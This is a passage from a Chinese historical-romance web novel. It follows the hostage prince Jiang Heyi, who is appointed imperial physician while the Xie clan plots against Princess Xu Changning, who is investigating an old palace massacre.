林笙立即换上一副笑脸,迈步朝前走去,江鹤一深呼吸一口气,亦随他一起走,却被卫士抬手拦住。
“殿下只召见他,不见你。”
江鹤一神情凝固一瞬,抬眼间难掩意外,林笙比他更意外,满脸怨气地回头看了眼江鹤一,只能独自“赴险”。
看着殿门打开又关上,江鹤一的思绪仍是混乱不已。
他应当觉得松了一口气,可为何心中有隐隐的失落感?
因为这个女人不想见他了吗?
这不正是他想要的吗?
江鹤一暗骂自己不清醒,转身跟着要带他去往住处的卫士离开。
路过角门时,他突然在堆放杂废的柴草筐里,看到了那抹熟悉的明黄色。
那是许长宁今日穿的衣裳,明黄色衬得她明媚如阳,如梦中碎片里的她一样,美得动人心魄。
她明明说那是她最喜欢的衣裳,怎么……扔了……
江鹤一攥紧了手中包裹,忽然觉得里头装的那块香皂化作巨石,变得很沉。
他到底是怎么想的?
竟会觉得一块香皂,在许长宁面前可以拿得出手。
可笑至极,又甚是卑贱。
江鹤一被带到一间小屋,就这样在东宫住下了,屋内虽布置简单,但比起静思院要好许多。
他推开窗户,看了看周遭的环境,如他所料,此处看不见许长宁的寝殿,应当是东宫较为偏僻之处。
第一次留在东宫,他是待在许长宁的寝殿,第二次,是被关在偏殿,第三次,便是这里了。
也对,他三番五次对许长宁口出恶言,若非她还要利用他,她定不会再让他踏入东宫半步。
一切合情合理,只是为何他总是觉得烦闷?
他关上窗户,瘫倒在柔软的榻上。
自从被许长宁下药,与她行了一次房事,他的心情、他的梦,甚至他的记忆,皆变得越来越奇怪。
他的脑中充斥着许长宁的身影,他时常分不清,到底那些是梦,还是记忆。
比如方才,望着挂满花灯的殿门,他的耳边忽然响起一道声音。
那是他自己的声音。
“若陛下想见我,可燃一盏花灯,我见了,便会来。”
江鹤一抬手覆在眼睛上,一遍遍拷问自己。
为何会如此……
为何会觉得,有些心痛……
*
寝殿内,林笙跪在许长宁的书桌前,看着许长宁提笔写字,崔皓在一旁帮着磨墨,如芒刺背,如鲠在喉。
许长宁不会是在写要如何惩治他吧……
林笙心中忐忑,看到崔皓拿起写满字的纸张,恨不得一目十行,要看清楚纸上是否写了他的名字,可还没能看清楚,崔皓便放下了。
林笙咬咬牙,猛地拍了一把大腿,咧着嘴夸赞道:“殿下这字儿,写得比屋里的花灯更为耀眼!这撇捺舒展的,跟殿下您待人似的,看着利落却不扎人,那点画落得又准又稳,与您处置事一样,半分不拖泥带水!”
他笑得极为真诚,“奴才看过那江鹤一写字,写得跟狗爬似的,与殿下您这字一比,简直是狗屎一坨!”
许长宁挑了挑眉,终于抬眼看向林笙,眼中血丝仍未消退,看上去十分疲惫。
“你这一番话,说得挺漂亮,江鹤一与你相识十几年,怎么没有习得你的嘴皮子半分?”
“不不不不!”林笙连连摇头,“那小子坏得很,奴才与他乃泛泛之交,并不熟络。”
许长宁低笑一声:“起来吧。”
“哎!谢殿下。”林笙笑意盈盈地站起来,“殿下召见奴才,可是需要奴才为您做什么?”
许长宁颔首:“确有事情需你去办,你今后便留在东宫当差。”
“这……”林笙看许长宁神色舒缓,琢磨片刻,作揖道,“奴才自是愿意为殿下效劳,只是……”
“孤喜欢有话直说的人。”许长宁直言道。
林笙笑嘻嘻道:“若差事比宫市使之责更重,且不能时常去看望奴才的奶奶们,殿下可否,给奴才涨些月钱?”
许长宁爽快答应:“若你能做好我安排之事,我给你涨五倍的月钱。”
林笙双眼一亮,眉开眼笑地跪下:“请殿下吩咐!”
许长宁甚是满意林笙的态度,知晓自己没有选错人。
“做孤的眼线,监视江鹤一的一举一动,随时向孤汇报。孤若有话要对他说,你便为孤当传话之人。”
一旁的崔皓闻言,忽地看向林笙。
林笙的笑容一滞,崔皓这道目光,让他感受到了一丝的敌意。
他讨好地笑笑:“殿下……可是觉得江鹤一对殿下有威胁?”
许长宁垂下眼,并未作答。
她与江鹤一的每一次对话,都太过费心劳神,她不想再如此消耗自己,但日后又难免需要与江鹤一沟通。
林笙机灵,重情义,又是江鹤一的好友,通过他与江鹤一沟通,应当要容易许多。
崔皓见许长宁不打算回答,低声斥责林笙:“阿姐对那质子自有打算,不是你可以过问的。”
“是奴才多嘴了。”林笙当即识趣地轻轻打了下嘴巴,“若殿下没有别的吩咐,奴才这便告退,不打扰殿下休息。”
崔皓替许长宁挥挥手,林笙便赶紧跑了。
走出寝殿之前,他余光瞥见崔皓为许长宁披上了外袍。
“阿姐,江鹤一如此得罪你,你打算如何处置他?”
崔皓在许长宁面前蹲下,将桌上暖炉放入她手中,与她一同握着暖炉,仰着头问道,“阿姐莫非要将他一直留在东宫吗?”
许长宁沉默片刻,低声道:“怎么可能?”
*
在卫士的带领下,林笙也住进了江鹤一所在的那间屋子。
他一关上门,便拉着江鹤一语重心长道:“老一啊,你可得在殿下面前好好表现,守住你翊圣郎的位子。”
江鹤一:“?”
林笙小声道:“除了谢筠虎视眈眈,就连一个尚未及冠的小孩,也眼巴巴地黏在殿下身边。”
江鹤一立即便想到了那一张仍有些稚嫩的脸,虽然只擦身而过,他却忘不了崔皓看着他的神情。
有一种说不清的敌意与防备。
林笙回忆道:“那个崔皓,我略有所闻。陛下有一亲信,名为崔魏,曾统领龙武军,十二年前和宁宴为保护陛下而牺牲,其妻不久后也病逝。崔皓是崔魏唯一的孩子,当时只有四岁,深得陛下与殿下照拂与关爱,如今殿下将他接入宫,我看他还唤殿下为阿姐,两人应当情同手足。”
江鹤一了然,他算是崔皓的杀父仇人之子,如此崔皓对他的敌意也说得通了。
林笙撞了他一下:“你这一脸释然是怎么回事?虽然崔皓与殿下以姐弟关系相处,但他们并非血亲,这样的关系最为危险!若你被殿下抛弃,当不成翊圣郎,被驱赶出东宫,定是死路一条了。”
江鹤一摇了摇头:“许长宁心悦谁,谁又心悦于她,与我无关。她立我为翊圣郎,不过是要将我当做谢家的挡箭牌,为她吸引一部分战力罢了。”
“这样啊……”林笙叹了口气,“我本还想说,你比崔皓多了一处优势呢……”
江鹤一倒有些好奇:“我有何优势?”
“那小子才十六岁,尚未及冠,哪能懂男女之间——”
林笙忽地一顿,看向江鹤一,“不对,你也尚未及冠……”
他凑近江鹤一,眯了眯眼,“你小子何处学来男女之事?”
江鹤一被林
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笙如此一问,脑中又情不自禁地浮现那一夜与许长宁的旖旎,脸上顿时有些发热。
时间过去越久,他对那夜所发生的一切便记得越发清晰。
明明是第一次,他却觉得身体仿佛有记忆一般。
他不仅懂,似乎还懂得如何让许长宁愉悦。
位置,力道,动作……好像皆令许长宁十分满意……以至于后半夜,许长宁又缠着他要了一次,而他药效未过,一时没忍住……
江鹤一越想,脸上便烧得越烫,忙晃晃头让自己不要再细想。
他随口敷衍道:“她下药逼迫我,这些事情……我也不懂……”
“哦……”林笙也不再追问,叹了一口气,“你及冠之前,也不知能否再见到明烨叔,若见不到,便无人为你赐字了,好可惜。”
江鹤一垂下眼,看着自己落在地上的影子,低声道:“没什么可惜的,我能否活到及冠那日尚未可知。”
因为及冠之日,便是许长宁要正式册封他为翊圣郎之时,而谢家定不会轻易罢休。
性命难保,任人宰割,眼下又被囚禁,取字有何意义?
没想到,他被困在这昭国,一困便是十二年,他想回家,可这个愿望无人在意,亦不可能实现。他的家,他的亲人,在他的记忆中,已然模糊不清。
他没有根,没有归处,没有尊严,犹如一道孤魂,不知前路,留在这天地间,到底是为了什么?
“对不起,阿笙,连累你了。”江鹤一轻声道。
“说对不起可没用,这笔账我还是要记的。”林笙咧嘴笑笑,“朋友一场,我不催你还债,待一切好起来,你再慢慢还吧。”
言罢,林笙侧身翻找,江鹤一以为他要掏出账本记账,他却从包裹中掏出了一盒糕点。
那是燕国派人给江鹤一送来的糕点,燕国独有,今年剩下的最后一盒。
江鹤一有些意外,他分明将这盒糕点留给了苏明烨。
“叔偷偷塞进你包裹里的。”林笙将糕点递给他,“吃吧,新岁将至,很快又有新的送来了。”
江鹤一犹豫片刻,打开盒子,拿了一块给林笙,林笙却摇摇头:“我七奶奶做的更好吃,你这糕点我不爱吃。”
江鹤一没有勉强,自己咬了一口,细嚼慢咽。
糕点甜糯,多少冲淡了些心中的苦。
屋外忽然飘起雪来,但屋内燃着地龙,比静思院暖和许多。
月光落在两人脚前,无声无息,安宁平静。
“老一,能活便先活着吧。人间走这一趟,不能白来,总会找到意义的。”
林笙望着屋外的雪,话音轻快,“眼下,你对明烨叔,对我,对殿下,都有意义,不是吗?”
江鹤一沉默不语,只是静静地与林笙一同看雪纷纷扬扬落下。
对苏明烨,他的意义在于他是周徽音的孩子,对林笙,他的意义在于欠债要还。
那他对许长宁,意义何在?
除了当她的挡箭牌,还是她心上人的替身吗?
所以她对他的一切行为,那些不曾说出口的保护,还有那几剂补药,原来皆是因为,他与那名为云止的人,有些相似吗?
江鹤一后知后觉,才品出当时知晓此事的滋味。
好似,有些不甘心……
*
谢宅的灯火燃了一整夜,打砸声不断,谢家所有下人皆不敢入睡。
他们不知朝中发生了什么,只知道谢望松今日一回府,便揪着身后谢筠的衣襟进了书房。
虽然谢筠是他们老爷的嫡长子,却不知为何,老爷与夫人都不怎么待见谢筠。
老爷对外人一脸和善,极少动怒,却动辄对谢筠又打又骂,而夫人也对谢筠不闻不问,一年都不会见他几次面。
今夜听着书房中的动静,他们便知谢筠又要遭殃了。
“父亲,孩儿知错了……”
谢筠跪在谢望松面前,脸已被打得红肿起来,嘴角也渗出了血。
“你知错有用吗?”谢望松打砸了一夜,此时也累了,坐在椅子上休息,“江鹤一眼下活得好好的,严伯钧被许长宁摘得干干净净,而我们在太医署里的人,悉数被杖毙!那可是在宫中收集情报与暗中行事最好的掩护,如今太医署已完全归于许长宁之下!”
他拿起茶杯喝了一口茶:“教习考核,本就由严伯钧主持,许长宁卖了他一个人情,严伯钧定不会为难江鹤一,我再插手已是名不正言不顺,这一关,竟让许长宁过了。如此看来,卜选那日,严伯钧便已和许长宁联手,这教习期,是他们的缓兵之计。”
谢望松说着说着,再度气上心头,直接将手中茶杯砸向谢筠的脸。
谢筠不躲,只是闭上了,任由茶杯撞上他的眉骨。
几滴血顺着他的眼睛往下流,仿若血泪。
他又让父亲失望了,这一切都是他该受的。
只是他想不懂,为何许长宁可以撬动一向与她作对的严伯钧,她凭什么?
“既然许长宁不识相,孩儿也不会再心慈手软。”谢筠抬手擦掉脸上的血,沉声道,“教习期过后,便是册封大典,我会让她亲眼看到江鹤一死在她面前,杀鸡儆猴。”
“如今江鹤一已在许长宁庇护之下,而可以暗中下杀手的太医署又废了,再要动他,唯有大动刀戈。”谢望松心平气和了许多,摇了摇头,“还是稳妥为重,不可再暴露我们的势力。”
“孩儿已想好对策,请父亲再信孩儿一回。”谢筠伏身一拜,再起身时,眼中阴沉更甚,“有一人可助我们一臂之力,毁了册封大典,毁了许长宁的春秋大梦。”
21.歉意
谢筠强忍着胀痛的双膝,跌跌撞撞走出书房时,天色已经微微亮了。
在外头等了一夜的谢伍看见谢筠这副模样,顿时急得变了神色。
他并未言语,忙上前搀扶谢筠走回卧房。
桌上早就摆好了各种伤药,谢筠一坐下,谢伍便开始为他处理伤口。
“老爷怎么下手这么重……你也不躲躲……”
谢伍一边擦拭谢筠脸上的血,一边低声喃喃。
“父亲还愿罚我,便是对我仍抱有期待。”谢筠毫无怨言。
眉骨上的伤口被碰到之时,谢筠没忍住“嘶”了一声,谢伍的眉心立即皱得更紧,手也不敢动了。
谢筠直接拿过帕子,自己对着镜子擦拭脸上的血,手劲越擦越大,似在用自己的脸出气。
谢伍见不得他这样,便抢回帕子,安慰道:“老爷仍在观望朝中局势,公子莫要心急,做多便错多。”
“你懂什么?”谢筠沉声道,“父亲让我给皇帝下毒之时,这场战争便已开始了。其他世家对我们谢家的不满之声越来越大,沈家在洛宸蠢蠢欲动,想要另起门户,父亲已经等不及了。”
谢伍在水盆中仔细清洗自己那双遍布皱纹的手,然后再蘸取膏药,小心地涂在谢筠被打肿的脸上。
他低声道:“沈家也只能在洛宸耀武扬威,只要我们在朝中稳住局势,沈家掀不起波澜。”
谢筠实在疲惫,闭上了眼:“严伯钧虽一贯瞧不起女子,更不支持女子执政,但他一向支持许昭临,他的那些门生加起来,也占据了不少势力,若许长宁当真与严伯钧联手,父亲在朝中便更为被动了。”
他的嘴角被打裂,每说一个字都扯得生疼,“若我不急,我便会被替代,一个捡来的棋子,没有那么多容错的机会。”
谢伍久久未言,最终只是看着谢筠脸上的伤口,轻轻叹了口气。
当年捡到这个孩子,也不知是救了他,还是毁了他。
因为谢望松杀一人便救一人的平衡之道,谢伍在一破庙里救下了一个流浪儿。
捡到他之时,他刚被几个年纪大许多的乞丐欺辱,衣不蔽体,奄奄一息。
谢伍将这孩子安置在别处,养了将近两个月,才养得有了一点活气。
谢伍问他的名字,他只说自己在家中排行第五,家里养不起这么多孩子,便将他送给了别人家,可那户人家也穷,对他动辄打骂,又不让他吃饭,他便逃了出来。
“给我饭吃,我不怕挨打。”
谢伍仍记得这孩子对他说的第一句话。
不久后,谢望松的长子谢筠意外葬身火海,为了安抚近乎失心疯的夫人,并掩盖这场意外,谢筠亲自来挑选孤儿充当谢筠。
这个才七岁左右的孩子,不知从何处得知谢筠死于大火,竟当场点燃了自己身后的衣裳,落了满背的烧伤。
如此,他便成为了谢筠,被谢望松带回了谢家。
他说他想有一个家,想得到有权有势的爹娘,想要活得干干净净,为此不惜付出任何代价。
谢伍本想问出那句长久以来一直想问的话,“值得吗”?
可他终是忍下了,谢筠这样活了十七年,如今再问这个问题,已经没有意义了。
他唯一能做的,便是尽可能帮助这个孩子,因为他知道,谢望松对谢筠不会有一丝的心慈手软。
这个孩子想要的亲情,谢望松不可能给他。
谢伍弯腰太久,直起腰时,骨头咔地响了一声,他皱起眉,忍着没喊出声,端着水盆走出了卧房,要去给谢筠弄些吃的,不然这孩子会饿自己一日。
一点都不像小时候,整日缠着他要吃的,一日得问七八遍,而且都要吃肉。
想起谢筠年幼时一口气吃五个鸡腿的模样,谢伍便忍不住扬起一抹笑。
可这抹笑很快便淡去了。
他回头看向卧房中那道身影,浑浊的双眼,已有些看不清了。
如今他将近花甲之年,也不知还能陪这孩子多久,若他在,还能再谢望松面前帮着说两句,若他不在了……
“小五,值得吗?”
晨风卷着残雪,将谢伍的呢喃吹散无踪。
*
接下来五日,江鹤一废寝忘食,将教习考核需要通读的所有书都看完了。
林笙将这一消息告知许长宁,许长宁思索片刻,当即便让严伯钧带人来东宫进行考核。
严伯钧本不信江鹤一能在如此短的时间内熟识昭国礼制律法,可一通考核下来,无论是口头回答,或是以考卷形式作答,江鹤一皆毫无错漏。
饶是严伯钧如此高傲之人,都忍不住隐晦地夸赞了一句“记性尚可”。
随后,严伯钧又让几名太医分别考核江鹤一的医术,那几名太医本以为江鹤一只懂些皮毛,便用最为简单的问题考他,怎料江鹤一对答如流,根本不用思考。
几名太医一时被挑起胜负欲,越考越深,渐渐开始力不从心。
这位燕国来的质子,在医学上的造诣,竟与他们不相上下。
那几名太医如实告知严伯钧,严伯钧也不打算为难江鹤一,便要宣布他通过了考核。
“慢着。”
许长宁忽然出现在门口,带着风雪,面无表情地跨入屋内,越过纷纷行礼的众人,坐到了堂中央的椅子上。
“孤也要出一道题目,考考燕皇子殿下。”
她让薛竹铃将几张药方递给一旁的太医,“此乃前太医令于冬至前为孤开的方子,现在让江鹤一为孤把脉诊断,新开几张药方,两者相比,若有差错,医术这一项考核便不通过。”
许长宁看向屋内几人,问:“诸位可有异议?”
见无人反对,许长宁伸出手,放在桌上,对一侧的江鹤一道:“来为孤把脉。”
江鹤一没有理由拒绝,走上前去,本欲直接把脉,忽然想起什么,掏出了一方帕子。
他本想将其覆在许长宁的手腕之上,但展开帕子的那一瞬,他又顿住了。
他看到那帕子已经旧到褪色起毛……
“用帕子也好。”许长宁却直接拿过帕子,铺在手腕上,平静道,“日后你为后宫妃嫔诊疗,也要隔着帕子把脉,眼下便试试,你隔着帕子判断脉象是否准确。”
江鹤一望着那方旧帕子覆在许长宁雪白的手腕上,刺眼得很。
他垂下眼,在一旁坐下,轻轻将手指搭在许长宁的脉搏上。
触碰的瞬间,他的第一个念头是,她的手好冰……
是刚从屋外进来的原因吗?
不对,此前每一回与她接触,她的手都是冰凉的,看来是身子调理得不好。
江鹤一凝神专注,感受着指尖下的搏动,缓缓开口:“殿下前不久应当是感染了风寒,眼下脉象浮而无力,风寒之气仍滞于肺腑,且气血亏虚之象明显。”
他收回手,抬眼看向许长宁,看着她眼底淡淡的乌青,倏地有些心虚。
“想来应是殿下近日操劳过度,未能好好将养,需再服两剂驱寒补气血的方子,切不可再着凉与劳心耗神。”
“将药方写下来。”许长宁脸上没有半分情绪,话音亦是如此。
江鹤一照做,书写药方时毫无犹豫,一气呵成。
薛竹铃将药方递给那几名太医,几人凑在一块看了一遍,又看了看旧的药方,比对半晌,一时间面面相觑。
太医令已被处决,几人已无顾忌,于是一人上前躬身回话,语气中难掩叹服。
“殿下,臣等细查这方子,比起旧的方子,更胜一筹。驱寒用的药材减了半钱量,配着生姜、大枣,温散不伤胃,比太医令方子里的麻黄更为温和。此外,又加了黄芪、当归打底,既能治风寒,又能补您亏空的气血。”
许长宁面不改色:“诸位莫要因为孤几日前在太医署所为,便故意往好了说。”
“臣绝无虚言。”那太医神情看上去颇为诚恳,“臣认为,这方子最妙之处,乃为殿下考虑得周全。日间服用的方子,避开了易致困倦昏沉的几味药材,以其他药材补足了药效。殿下服用后既能祛病,亦不会耽误日间正事。而夜间服用的方子,则特意添加了几味安神的药材,可助殿下安稳入睡。”
许长宁望向另外几名太医:“你们亦是如此认为?”
“是。”几人一同应道。
“很好。”许长宁站了起来,走到江鹤一面前,问道,“你的医术,可是苏医师所授?”
江鹤一实话答道:“是。”
“苏医师在燕国,可是在太医署待过?”
“是。”
许长宁转过身,当场宣布:“那你从今日起,便任太医令,与苏医师一同,掌管太医署。”
此言一出,在场众人皆怔住了。
江鹤一猛地攥紧了衣袖。
她……不是打算将他囚禁于此吗?
“殿下!这……这不妥啊……”方才那名太医当即跪了下来,另外几人见状,也跟着跪下。
许长宁直言:“有何不妥?他的医术,比上一任太医令有过之而无不及,他又是孤的翊圣郎,位至从一品,如何不能掌管太医署?”
“殿下……”那太医支支吾吾答道,“燕皇子殿下……曾是质子……”
许长宁看向一旁的江鹤一,言语中仍没有情绪:“你说呢?”
江鹤一直直望着许长宁,默默攥紧了拳。
他说?
他说的,有用吗?
他……能说吗?
许长宁迎着他的目光,虽没有什么温度,却是坚定的。
忽然便有一股莫名的冲动往他的脑门上拱,他咬了咬牙,沉声道:“医者之责,乃行医救人,太医更是医者中的佼佼者,更应如此。”
江鹤一听见自己的话语,句句掷地有声。
“敢问几位大人,身份地位,与行医救人,有何关联?”
“一名病患等着救命,你身份高贵,却救不了,而我能救,但因为只是一名质子,便不能出手施救,我们便等着病患丧命,是吗?”
“医者持针握药,应当只看医术,而非身份的三六九等。若几位大人认为我术业不精,不配为太医令,我认,可若只是因为我的身份而质疑我,我不认,不服,亦看不起你们。”
江鹤一的声音越来越大,此时停下,他忽然觉得天地间都安静了。
安静到,他只听得见自己有些急促的呼吸声。
十二年……
在昭国十二年,他总是地上那块被人践踏的泥巴,从未有机会,能理直气壮地站起来,说一句“不认,不服”。
他并非生来卑贱,他也曾有过一身鹤骨。
他也并非废物,他还有师父教给他的本事。
而他眼下可以说出这些话,是因为他知晓,他的身后有许长宁撑着。虽然她此举势必于她有利,
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她才会如此,说不定还有别的算计与利用,但他此刻不在乎了。
他好痛快,好兴奋,下意识便看向了许长宁,恰好捕捉到她嘴角微微扬起的一瞬。
这一抹似有若无的笑意,竟让江鹤一失神。
不知为何,他好想与她分享此刻的喜悦,可许长宁却移开眼,避开了他的目光。
他的心中倏地一空,那份喜悦,直直坠地。
江鹤一这一番话,令跪着的几名太医哑口无言。
严伯钧一直旁观,并未出言阻止,他早猜到许长宁忽然来这一出,定是别有用心,原来是想在太医署安插自己的人。
斩断了谢家伸向朝中的第一只手,便马上要将其纳入自己旗下,许长宁还真是干脆利落,丝毫不怕明着与谢家作对。
且看她能走多远吧,严伯钧心想着。
“诸位若无异议……”许长宁拂袖负手于身后,肃声道,“江鹤一,这太医令,你可担得起?”
江鹤一深呼吸一口气,敛袍跪下,作揖郑重答道:“小人担得起。”
“那便如此定下了,明日你便与苏医师前往太医署了解情况,孤会命太常寺派人前去,与你细说相关事宜。”
许长宁始终没再看江鹤一,说完便往外走。
行至门边,她忽然驻足。
江鹤一看见,许长宁逆着屋外的天光,回首望向了他。
她的声音,如屋外积雪般冰冷,说出来的字句,却仿佛落在积雪上的阳光。
“记住了,在昭国,你是孤的翊圣郎,孤的臣子,不是什么小人。”
江鹤一感觉呼吸一滞。
阳光斜照,连空中的灰尘都能看得一清二楚,而许长宁,立在阳光的中央。
他的心,跳得好快。
是因为紧张吗?
江鹤一抿抿唇,缓缓抬手,双手作揖。
“臣……遵命……”
许长宁并未言语,只是深深望了他一眼,随即步履匆匆离开。
看她穿戴整齐,似是要外出。
江鹤一头脑一热,追了上去,却被薛竹铃拦下,看着许长宁上了马车。
“你又想干什么?”薛竹铃毫不客气地质问。
江鹤一因薛竹铃赤裸裸的敌意而结巴了一下:“我……我想问殿下,我是否能随意出入东宫?”
“殿下从未要囚禁江公子,向来只是为了保护你的安全。”卫迟风将许长宁送上马车,折返回答了这个问题,“若江公子要外出,会有两名卫率贴身保护你。”
薛竹铃不跟江鹤一客气,直接指着他的鼻子,气焰嚣张:“不然呢?你以为我们殿下会将你关在此处?我们殿下是世上最好的人,对无辜之人从来都是善待,但是你一点都不无辜,一副心肠子黑透了!净知道惹殿下生气伤心!”
江鹤一不禁一哽。
许长宁生气伤心?
因为他?
“走吧。”马车内忽然传出许长宁的命令。
薛竹铃冲江鹤一挥了挥拳头:“我会一直盯着你,你若是再敢惹殿下不悦,我打死你!”
她看自己在江鹤一面前矮了一个脑袋,随即又补了句,“我让卫迟风打死你!”
薛竹铃扔下狠话,拉着卫迟风转身就走。
马车离去,在雪地上拖出长长的痕迹。
风吹起车帘,让江鹤一窥得车内的许长宁片刻。
她撑着脸,正闭目养神。
一如他诊脉的结论那般,疲惫体虚,风寒未愈。
她应当休息,不应该如此奔波的。
给他服了药,自己为何不好好服药?
直到马车远去,消失在他的视线当中,江鹤一忽然回过神来,发现自己将衣袖攥得很紧。
他不禁为心中所想而嘲讽自己。
他在许长宁心中,不过是路边的野狗,有些利用价值,她才施舍了一些善意,他有什么资格想这些?
江鹤一转过身,正要走回去,突然有几名宫女从他面前走过。
她们今日,皆身着淡黄色的衣裙。
几乎是瞬间,他脑中便浮现出那日,许长宁身着带血的明黄色衣裙,俯身欲吻向他的模样。
一众颜色之中,她穿明黄色,最是好看。
一如她的模样,明媚时如阳,威严时如山。
仿佛有一道雷,猛然击中了江鹤一。
他回过神来,迈步跑向那堆放杂废的角门,可昨夜还在树旁的柴草筐此刻却不见了。
他忙寻了一名宫女询问,得知筐中的废弃衣物每隔七日便会处理一遍,方才恰好有太监来取走了。
江鹤一问那太监的去向,当即便追了过去。
他不喜欢奔跑,因为他跑起来,腿伤所致的跛脚便会暴露无遗。
可今日,他却在宫道上使劲地跑,迎着暖阳,踏着雪,不顾旁人眼光,不顾一切地朝前跑去。
冷气灌入他的体内,他却不觉得难受。
终于,他看到了拉着一大车柴草筐的一名太监。
他喊停那太监,一一翻找堆满废衣脏衣的柴草筐。
他觉得自己疯了,可拼命翻找的双手,就是停不下来。
终于,在满眼的灰蓝黑之中,他看到了一抹阳光的颜色。
江鹤一的脸上,情不自禁地露出了笑意。
寻到了!
许长宁说她最喜欢的,那件明黄色的衣裳。
22.亏欠
莲台寺的禅房中,佛珠碰撞之声戛然而止。
“此言当真?”沈庭玉跪在蒲团上,眼中映着许长宁的身影。
许长宁仰着头,望着眼前的佛像,缓缓道来:“当年为我七皇弟诊治的所有太医,在这十几年来,悉数丧命,唯剩一人不知死活,在和宁宴那晚便失踪了。”
她接过卫迟风递来的一纸供书,递给沈庭玉。
“我已寻到当年逃走的那名老太医,他亲口告诉我,当年他在七皇弟身上,察觉一种毒物,可致与疫病相似的症状。”
“然而,一同诊治的所有太医,无一人察觉,皆当做寻常时疫诊治,那太医本欲暗中将此事汇报给父皇,但之后的动乱让他意识到,此事背后有更深的阴谋,便趁乱逃跑了。由此可见,幕后之人是利用了七皇弟来制造混乱,以此中断宴会。”
沈庭玉看着供书上所写的当年之事,一言不发。
“庭玉哥哥,这意味着什么?”许长宁看向他,眸中恨意渐深,“和宁宴,是一场早已布下的杀局。当年你的父亲向父皇提出与燕国和谈,设宴宴请那江阙来洛宸,恐怕也是被人所利用了,而这幕后之人,极有可能是谢家。”
长久的沉默过后,沈庭玉垂下眼,将供书轻轻放至许长宁身前。
“这份供书,并不足以为证。”他的话音仍旧平静,转动佛珠之声再度响起。
“这仅是开始。”许长宁沉声道,“只要我继续查下去,纸终是包不住火的。”
那已被处死的太医令,有一句话说对了。
太医给她的七皇弟下毒,只是让他出现疫病之状,而后忽然出现的大火,未能防住燕国刺客的洛宸府兵与南衙禁军,才是那夜的关键。
他们的失职,或是刻意所为,令燕国刺客有机可乘。
南衙十二卫,与守护父皇却屡屡失职的北衙禁军,都有问题。
只要有方向,她便有办法追查。
沈庭玉捏紧了佛珠,低声道:“人生苦短,劫后余生更是难得。了尘知晓心怀仇恨之苦,只望施主可放下执念,莫让仇恨捆住了往后的日子。”
“此言差矣。执念与仇恨,也能成为支撑一人往下走的勇气。”
许长宁虔诚地跪拜后,撑着卫迟风的手臂站了起来,“这一场灾,是家仇,亦是国恨,不仅仅是你我之灾,还有成千上万之人,因此而家破人亡,甚至在燕国,也有人蒙受冤屈。”
沈庭玉眉心微蹙:“这是何意?”
“庭玉哥哥,杀害我阿兄,我的弟弟妹妹之人,并非燕国刺客。”许长宁顿了顿,“而是土匪。”
俯身拾起地上供书的卫迟风身形一僵,与沈庭玉一同,讶异地望向许长宁。
许长宁淡淡笑了笑:“我甚至可能,曾被土匪辱了身子。”
“何人胡言乱语?”沈庭玉倏地站起来,面上第一次出现了厉色。
许长宁不答,侧身迎上沈庭玉的目光:“我今日来,并非向你索要什么,我更不会逼你违背对亲人的承诺。我只是想告诉你,无论你是否与我同行,我势必会追查到底。”
“那些人杀我所爱,必须偿命。”
佛像神情慈悲,映衬得许长宁此刻的杀欲更重。
屋内二人皆望着她,默默攥紧了手中之物。
许长宁看他们紧张,又浅浅一笑,转身拿起带来的点心,递给沈庭玉,柔声道:“竹铃做的,庭玉哥哥趁热吃。”
待沈庭玉接过装着点心的盒子,许长宁便带着卫迟风离开。
她提起裙摆,轻轻迈出莲台寺的大门,正要上马车,身后忽然传来一声呼唤。
“殿下。”
许长宁一顿,回首望去,沈庭玉竟追了出来。
“我们打个赌吧。”他那一直平淡无澜的面容,露出了一抹温和的笑,“若你再胜一次,下回有任何需要,我必全力以赴。”
许长宁亦扬唇微笑:“若我输了呢?庭玉哥哥便不再见我吗?”
沈庭玉缓缓行至许长宁面前,拿出一枚折成三角的平安符,托起许长宁的手,放至她的手心。
“殿下若愿意,可随时来寻我。”他的眸中,尽是说不清的柔情与宠溺,“我永远欠你的,长宁。”
许长宁合起手掌,抬眼看向沈庭玉,眉眼一弯。
她的笑灿烂得晃眼,一如多年前那个午后的阳光。
两名少年郎在东宫庭院玩闹谈笑,年纪稍长的少年高高抱起一个小女娃,让她去摘树上的果子。
小女娃摘下果子,只吃了一口,便酸得五官皱成一团。
少年笑着问道:“阿宁,阿兄对你好吧?”
小女娃却摇摇头,笑着看向另一俯身逗她玩的少年,直言道:“庭玉哥哥更好。”
那少年闻言,睨了眼吃瘪的另一人,笑得开怀:“长宁为何觉得我更好?”
小女娃咧嘴一笑:“庭玉哥哥的点心,比阿兄的果子更甜。”
阳光总令人恍惚,仿若一切还可回到从前。
可他已经失去了资格。
沈庭玉望着许长宁的马车远去,脸上的笑意一点点化作冰冷,风刮在他的脸上,疼得宛若刀剜。
他手中的佛珠,其实早已遍布裂痕。
一如他封存仇恨的心。
*
许长宁一入寝殿,便脱掉了鞋袜,光脚踩在地上。
脚底的冰凉,驱逐了她的疲倦困顿。
她心中的那根弦始终紧绷着,不敢放松分毫。
眼下谢家应当已经对她有所防备,甚至可能意图出手反击。她的一切行动都要快,唯有乘胜追击,才能杀得谢家一个措手不及。
卫迟风看她如此,便知她心中焦灼,那一路未消的担忧,终是令他忍不住说出那句话。
“殿下,您莫要听信流言蜚语。”
许长宁徘徊的脚步顿住,她看向卫迟风,回想起他方才在莲台寺听闻那件事的反应,轻声问道:“迟风,你很在意吗?”
卫迟风一怔,立即跪下,面上急色更甚:“臣、臣不是这个意思!殿下……我、我不在意……我是担心殿下伤怀!”
“你紧张什么?”许长宁看他支支吾吾的样子,低声笑了,伸手扶了扶他,示意他起来,“我当然知晓你是在为我担心。”
卫迟风仍垂着头,一脸自责:“臣失言,请殿下责罚!”
许长宁看了眼薛竹铃,薛竹铃心领神会,硬是揪着卫迟风的耳朵,将他拽了起来。
“好啦,责罚完了。”薛竹铃拍拍手道。
许长宁对卫迟风微微一笑:“我只是想问你,所谓贞洁,当真如此重要吗?女子与男子同为人,凭什么这世间唯用贞洁规训女子?贞洁不过是一道对女子极为不公的枷锁罢了,不能代表任何东西。”
她抬手握住卫迟风紧攥剑柄的手,轻轻拍了拍,“我希望你们知道,我并不在意这一道枷锁,更不会为此伤怀。倘若我从前当真被辱过,也只能说明,谢家身上的罪行需再加一等。”
卫迟风沉默半晌,抿抿唇,仍固执道:“殿下没有。”
“就是!殿下没有!”薛竹铃也强调道。
许长宁看着两人一副倔强模样,心中更软,柔声道:“好好好,我没有,我也不信,都是他们胡言乱语。”
薛竹铃咧嘴笑笑,听见身后有侍女敲门,便转身开门,为许长宁端来一碗药:“殿下,您风寒一直未愈,还需好好服药。”
